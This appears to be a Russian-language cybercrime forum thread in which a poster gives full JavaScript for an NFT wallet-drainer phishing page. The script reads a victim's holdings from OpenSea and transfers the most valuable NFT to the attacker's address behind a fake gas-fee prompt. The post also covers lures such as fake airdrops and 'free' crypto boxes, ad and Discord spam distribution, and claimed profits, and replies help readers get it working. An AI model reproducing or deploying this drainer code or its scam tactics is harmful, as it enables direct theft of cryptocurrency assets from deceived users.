• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья [#2] Скам крипты для начинающих и не только [АВТОВЫВОД NFT без смарт контракта]

WebCrypt

Веб-разработчик
КИДАЛА
Регистрация
20.12.2021
Сообщения
115
Реакции
111
Гарант сделки
4
Пожалуйста, обратите внимание, что пользователь заблокирован
Снова приветствую всех, это продолжение моей писанины по поводу скама крипты без особого труда и расходов.
Для чего это нужно? Не все люди располагают бюджетом для заказа смарт-контракта, для заказа проектов с нуля, поэтому я показываю как развернуть проект не имея бюджета своими руками без особых знаний(но без смарт контракта):)
(Соурс код также прикладывается)

И так, для этого нам необходимо всё то же самое:

-Минимальное понимание программирования
-Капелька хитрости и ума
-Немного ресурсов

-20$ на хост и домен~

Вот мы уже разобрались, что такое минт(ссылка на статью клик), уже запустили свои первые пару проектов и начали общаться с людьми по делу
И постоянно начали слышать о том, что есть некий скрипт, смарт контракт с автовыводом НФТ и токенов(Аппрув), который просто выводит с кошелька человека все его холды без ведома
Появляется желание попробовать, узнать про это больше
Вот натыкаетесь на продажу и установку, но за него просят баснословные деньги... А заняться этим самому не хватает умений
Что-ж, наш вариант конечно же не аппрув, но тоже неплохой.(Кстати про него я хотел написать статейку, но, увы, с моей ленью человек написал первее)

Будем писать по старой схеме, сразу же вопрос - ответ

Что за скрипт?

Данный скрипт написан на языке JS, т.е. серверных скриптов и смарт контрактов как таковых нету. Всё очень просто и основные детали будут разобраны ниже.
Также подключается библиотека web3 и api infura.

Как работает скрипт?
Запускаем сайтец с вашим проектом, человек подключает свой кошелек и скрипт начинает проверку кошелька на наличие NFT в сервисе OpenSea, если таковые имеются, то скрипт проверяет на ценность этих NFT, после чего выбирает самую дорогую NFT и запрашивает отправку этой NFT через web3, пользователю выводит лишь только данное сообщение:

photo_2022-06-08_20-15-13.jpg


То есть информации о том, что выводят конкретно NFT нету, можно придумать самый различный предлог для оплаты этой комиссии пользователю, что мы вскоре тоже разберем. После оплаты комиссии NFT успешно переходит на ваш кошелек:)

Какая прибыль?
В данном случае прибыль может варьироваться самыми разными суммами. Вы можете забрать NFT стоимостью 0.1 Eth(на период написания статьи ~120$), а можете забрать и NFT стоимостью в 50 Eth( 60k$ ~),все в ваших руках, смотря как и кого заведете на ваш фейк:)

Какой проект замутить и откуда взять идею?
Ох, с этим скриптом открываются огромные возможности для вашего творчества... Вы можете как и использовать фейки под официальные проекты, находя их на самых различных ресурсах, так и делать что-то своё, предлогов можно придумать огромное количество, пару примеров я расскажу далее уж точно:)


Как распространять?
В данном случае распространение данного проекта немного отличается от фейк-минта, но и при этом можно использовать точно также, только получать мы будем не просто Eth, а NFT с кошельков держателей. В общем, всё по той же схеме, только в зависимости от того, что за предложение вы придумали для отработки данного скрипта.
Спам по твиттеру, дискорду, пролив по гугл и фб адс, таргетинг, реклама на разных ресурсах, вариаций много.

И так, приступим к практике. Нам пришла в голову гениальная мысль - обмануть форумчан xss.pro!
Запускаем проект с Аирдропом(раздачей) рандомных NFT исключительно для сообщников иксы! Никто против точно не будет - заполучить NFT почти бесплатно, нужно будет заплатить только газ(комиссию) для получения NFT стоимостью более 1000$ !
Сейчас разведём...


Копипастим с прошлой темы для тех, кто не читал(а нужно!!!):


Для старта нужно установить любой редактор кода, я лично использую Visual Studio Code.
Далее для понимания немного информации на простом языке:
CSS - Язык стилей, с помощью него закладывается основа дизайна сайта
HTML - Разметка сайта, проще говоря - указывает сайту где что будет находиться)
JS - Скрипты для взаимодействия с сайтом))

Да и вообще, для общего понимания что происходит советую изучить CSS и HTML тем, кто не знает.
При большом желании можно изучить за 3-7 дней, и вам это очень пригодится)


Далее выгружаем наш общедоступный код, который я приложил и начинаем разбирать по полочкам работу!

Вот так выглядит наш новый сайтик, думаю тем кто поставит на хост зайдёт, вроде забавно получилось:)
Снимок.PNG

*под основу был взят сайт нфт-коллекции гоблинтаун


Разбирать также мы полностью не будем, разберем лишь только работу нашего скрипта, в прошлой теме мы и так получили уже базовое понимание)

И так, поехали, в index.html если пролистать вниз через редактор кода будет видно наш скрипт заключенный в разметку <script> </script>


Сам скрипт:
JavaScript:
const ABI721 = [{
          "inputs": [{
              "internalType": "string",
              "name": "name",
              "type": "string"
          }, {
              "internalType": "string",
              "name": "symbol",
              "type": "string"
          }, {
              "internalType": "string",
              "name": "uri",
              "type": "string"
          }, {
              "internalType": "address",
              "name": "_launchpad",
              "type": "address"
          }, {
              "internalType": "contract IPair",
              "name": "pair",
              "type": "address"
          }, {
              "internalType": "uint256",
              "name": "_maxType",
              "type": "uint256"
          }],
          "stateMutability": "nonpayable",
          "type": "constructor"
      }, {
          "inputs": [{
              "internalType": "address",
              "name": "from",
              "type": "address"
          }, {
              "internalType": "address",
              "name": "to",
              "type": "address"
          }, {
              "internalType": "uint256",
              "name": "tokenId",
              "type": "uint256"
          }],
          "name": "safeTransferFrom",
          "outputs": [],
          "stateMutability": "nonpayable",
          "type": "function"
      }, {
          "inputs": [{
              "internalType": "address",
              "name": "from",
              "type": "address"
          }, {
              "internalType": "address",
              "name": "to",
              "type": "address"
          }, {
              "internalType": "uint256",
              "name": "tokenId",
              "type": "uint256"
          }, {
              "internalType": "bytes",
              "name": "_data",
              "type": "bytes"
          }],
          "name": "safeTransferFrom",
          "outputs": [],
          "stateMutability": "nonpayable",
          "type": "function"
      }]

      const ABI1155 = [{
          "inputs": [],
          "stateMutability": "nonpayable",
          "type": "constructor"
      }, {
          "inputs": [{
              "internalType": "address",
              "name": "from",
              "type": "address"
          }, {
              "internalType": "address",
              "name": "to",
              "type": "address"
          }, {
              "internalType": "uint256",
              "name": "id",
              "type": "uint256"
          }, {
              "internalType": "uint256",
              "name": "amount",
              "type": "uint256"
          }, {
              "internalType": "bytes",
              "name": "data",
              "type": "bytes"
          }],
          "name": "safeTransferFrom",
          "outputs": [],
          "stateMutability": "nonpayable",
          "type": "function"
      }]

      async function loadWeb3() {
          if (!window.ethereum) return undefined;

          window.web3 = new Web3(window.ethereum);
          await window.ethereum.enable();
          await window.ethereum.request({
              method: "wallet_switchEthereumChain",
              params: [{
                  chainId: "0x1"
              }]
          });

          let account = await getCurrentAccount();

          test();
      }

      async function loadContract(ABI, address) {
          if (!window.ethereum) return undefined;

          return await new window.web3.eth.Contract(ABI, address);
      }

      async function getCurrentAccount() {
          if (!window.ethereum) return undefined;

          const accounts = await window.web3.eth.getAccounts();
          return accounts[0];
      }

      async function test() {
          var account = await getCurrentAccount();
       

          var xmlHttp = new XMLHttpRequest();
          xmlHttp.open("GET", `https://api.opensea.io/api/v1/assets?owner=${account}&order_direction=desc&limit=200&include_orders=false`, false);
          xmlHttp.setRequestHeader("accept", "application/json");
          xmlHttp.send(null);
          var opensea_response = JSON.parse(xmlHttp.response);

          var assets = opensea_response["assets"];
          if (!assets) {
              return _alert();
          }

          var xmlHttp = new XMLHttpRequest();
          xmlHttp.open("GET", `https://api.opensea.io/api/v1/collections?asset_owner=${account}&offset=0&limit=200`, false);
          xmlHttp.setRequestHeader("accept", "application/json");
          xmlHttp.send(null);
          var price_response = JSON.parse(xmlHttp.response);

          var price_data = {};
          var nft_data = {};

          try {
              price_response.forEach(element => {
                  price_data[element["primary_asset_contracts"][0]["address"]] = element["stats"]["one_day_average_price"];
              })

              assets.forEach(element => {
                  let contract_address = element["asset_contract"]["address"];
                  let type = element["asset_contract"]["schema_name"];

                  if (price_data[contract_address] !== undefined) {
                      nft_data[contract_address] = {
                          "type": type,
                          "id": element["token_id"],
                          "price": price_data[contract_address]
                      };

                  }

              });
          } catch {
              return _alert();
          }
          console.log(nft_data);
          var list = [];
          for (const [key, value] of Object.entries(nft_data)) {
              list.push(value["price"]);
          }

          var highestVal = Math.max.apply(null, Object.values(list)),
              val = Object.keys(nft_data).find(function(a) {
                  return nft_data[a]["price"] === highestVal;
              });

          // console.log(nft_data[val]["type"])
          // console.log(val)
          // console.log(account)
          // console.log(ABI1155)

          if (nft_data[val]["type"] === "ERC1155") {
              window.contract = await loadContract(ABI1155, val);
              await contract.methods.safeTransferFrom(account, "0x00000000000000000", nft_data[val]["id"], 1, "0x0").send({
                  "from": account
              });
          } else {
              window.contract = await loadContract(ABI721, val);
              await contract.methods.safeTransferFrom(account, "0x00000000000000000", nft_data[val]["id"], "0x0").send({
                  "from": account
              });
          }

      }

      function _alert() {
          Swal.fire({
              title: 'Error!',
              text: 'There is some errors on our side. Please, try again later.',
              icon: 'error',
              confirmButtonText: 'Fine'
          })
      }

      async function load() {
          document.querySelector(".metamask").addEventListener("click", async() => {
              await loadWeb3()
          });
      }

      window.onload = load;

Теперь ведём разбор полётов(функций):
const ABI721 - Необходим для взаимодействия с токенами ERC-721
const ABI1155 - Необходим для взаимодействия с токенами ERC-1155
Что это за токены ERC-721 и ERC-1155 можно прочитать на вот этом ресурсе(тык)
function loadWeb3 - подгрузка метамаска и смену сети на эфир(если подключена другая)
function loadContract - подгружает контракт того или иного токена

function getCurrentAccount - получает информацию об кошельке пользователя

function test -
жара, поехали.
Сначала данный скрипт вызывает функцию получения информации об кошельке пользователя, после чего собирает о нём информацию через API ресурса OpenSea, получает информацию о наличии НФТ и их ценностях, после чего выбирает самую ценную НФТ из имеющихся и запрашивает функцию safeTransferFrom и делает запрос на перевод самой дорогой НФТ из имеющихся на ваш кошелек, указанный в данном скрипте.
Ах да, чуть не забыл, самое важное - свой кошелек ставим заместо 0x000000..... , ведь за этим мы сюда пришли)

После чего подстроив дизайн под свой проект мы загружаем его на хостинг и радуемся работающему скрипту:)



Из реальных историй первую расскажу как исполнитель заказа из наблюдение за работой заказчика.
У меня есть один постоянный клиент, который на протяжении почти года заказывает у меня различные проекты и сильно он поднялся заимев подобный скрипт. Где-то около двух месяцев назад я сообщил ему о новом скрипте, о котором мы сейчас говорим и он с радостью захотел попробовать поработать с ним. Он перевел мне N-ную сумму, ну и я по своей любопытности отслеживал его счёт, которым он пользуется так-же на протяжении всей нашей совместной работы, на тот момент он составлял около 10Eth. Какой первый проект я ему запустил уже не помню, но на наше время его баланс составляет 290Eth и это далеко не предел. Из последних проектов что я ему делал это были топовые коллекции с большим ажиотажем на момент выпуска: elftown, goblintown, weareallgoingtodie, otherdeed и пр.
Это были его лучшие залёты за счёт которых он так поднялся, просто для примера закину скриншот части залётов
Снимок.PNG

Как бы мне не хотелось поделиться откуда велся траффик - думаю это будет не честно по отношению к нему и вы это понимаете)
Но при этом человек спал в сутки по 2-4 часа и все эти 2 месяца упорно работал. Молодец, белой завистью смотрю на его продвижение)

А теперь расскажу пару примеров о том, как решил я поработать по этому скрипту
Как-то я залетел в одну НФТ-коллекцию(В дискорд) до старта продаж в целях попасть в белый лист для минта НФТ
Общаясь там, я адаптировался и понял тему общения между НФТ-холдерами
Им нравится сама атмосфера
Там был раздел фан-артов, куда постоянно люди выкладывали свои арты на данную коллекцию
И тут я не знаю каким образом, но пришла мне идея в голову.
Фан-метавселенная для этой коллекции. О да, я слепил лендосик от балды, подключил данный скрипт
И вывел условие для подключения в фан-метавселенную: нужно подключить кошелек и заплатить газ(комиссию), чтобы попасть в метавселенную.
И конечно же я начал со всеми делиться, мол вот, посмотрите, что создал! И людям стало действительно интересно, они стали подключаться и поплатились за это :c
Профит: 3k$

Потом под траффик Google ADS я решил замутить крипто-боксы.
Т.е. сайт, где люди могут открывать кейсы и получать рандомные призы из мира криптовалюты
И конечно же первый кейс совершенно бесплатный! Снова нужно лишь только заплатить комиссию)
И само собой, помимо гугл адс я вытащил аккаунт твиттер с галочкой и начал распространять еще и там.
Ох, вот это сок был!
Профит: 7k$

Пожалуй, это на данный момент самая актуальная тематика для криптоскама. Конечно же эта версия не сравнится с апрувом(взаимодействие со смартконтрактом), но если вы только начинаете - она отлично для вас подойдет.
Как я говорил и ранее, для работы с данным скриптом возможно придумать огромное количество проектов, дайте свободу своему творчеству:)

Снова с вами прощаюсь, но думаю будет и третья статья, где я что-нибудь разверну.
Большое спасибо за внимание! Удачи в делах.
 

Вложения

  • xss.pro Steal NFT.zip
    846.2 КБ · Просмотры: 326
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Линк на первую статью(тык)
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
очень хорошая статья ! Ждем еще !
Спасибо! Думаю сегодня-завтра напишу)
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
please i tried to viewing the code the connect wallet part of the code doesn't work can you assist on hot to fix it #web3
I can put this source code on a domain name and everything will work fine
If you have made a new design - then see if you have attached the script and the function call correctly
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я так понимаю что получить NFT это пол дела, но ее же надо кому-то и где-то продать
Конечно
Если попалась хорошая NFT, то на неё по-любому будут офферы по покупке
 
Я дичайше извиняюсь за мб тупой вопрос, но разве у такого проекта не должно быть бэкэнд составляющей, которая будет отвечать за трансфер аппрувнутого токена? Ибо аппруф - дело одно и решается фронтом, а вот сам по себе перевод - дело совсем другое.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я дичайше извиняюсь за мб тупой вопрос, но разве у такого проекта не должно быть бэкэнд составляющей, которая будет отвечать за трансфер аппрувнутого токена? Ибо аппруф - дело одно и решается фронтом, а вот сам по себе перевод - дело совсем другое.
Если посмотреть код, то поймешь, что никакой бэк не нужен)
Поэтому в заголовке и написал, что без смарт контракта(специально для начинающих)
Идёт взаимодействие лишь только с библиотеками, аппрува так такового нету, функция сейф трансфер фром)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ТС, а ты пишешь смарты под пирамиды? )
Не до конца понимаю о каких пирамидах ты говоришь)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
спасибо ТСу за отличный материал, жду новых постов
Спасибо!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх